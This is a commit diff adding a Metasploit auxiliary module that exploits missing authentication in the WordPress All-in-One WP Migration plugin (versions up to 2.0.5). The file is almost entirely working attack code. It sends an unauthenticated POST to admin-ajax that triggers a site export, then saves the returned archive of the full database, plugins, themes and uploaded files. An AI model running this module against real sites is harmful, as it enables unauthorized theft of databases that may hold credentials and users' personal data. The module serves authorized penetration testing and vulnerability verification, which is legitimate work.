Add WP All In One Migration export module
parent
7113c801b1
commit
f1a909c292
|
@ -0,0 +1,68 @@
|
|||
##
|
||||
# This module requires Metasploit: http://www.metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress All-in-One Migration Export',
|
||||
'Description' => %q(Due to lack of authenticated session verification
|
||||
it is possible for unauthenticated users to export
|
||||
a complete copy of the database, all plugins, themes
|
||||
and uploaded files.),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'James Golovich', # Disclosure
|
||||
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['WPVDB', '7857']
|
||||
],
|
||||
'DisclosureDate' => 'Mar 19 2015'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('MAXTIME', [ true, 'The maximum number of seconds to wait for the export to complete', 300 ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exporter_url
|
||||
normalize_uri(plugin_url, 'modules', 'export', 'templates', 'export.php')
|
||||
end
|
||||
|
||||
def check
|
||||
check_plugin_version_from_readme('all-in-one-wp-migration', '2.0.5')
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Requesting website export...")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_ajax,
|
||||
'vars_get' => { 'action' => 'router' },
|
||||
'vars_post' => { 'options[action]' => 'export' }
|
||||
}, datastore['MAXTIME'])
|
||||
|
||||
if res.nil?
|
||||
print_error("#{peer} - No response from the target")
|
||||
return
|
||||
elsif res.code != 200
|
||||
print_error("#{peer} - Server responded with status code #{res.code}")
|
||||
return
|
||||
end
|
||||
|
||||
store_path = store_loot('wordpress.export', 'zip', datastore['RHOST'], res.body, 'wordpress_backup.zip', 'WordPress Database and Content Backup')
|
||||
print_good("#{peer} - Backup archive saved to #{store_path}")
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue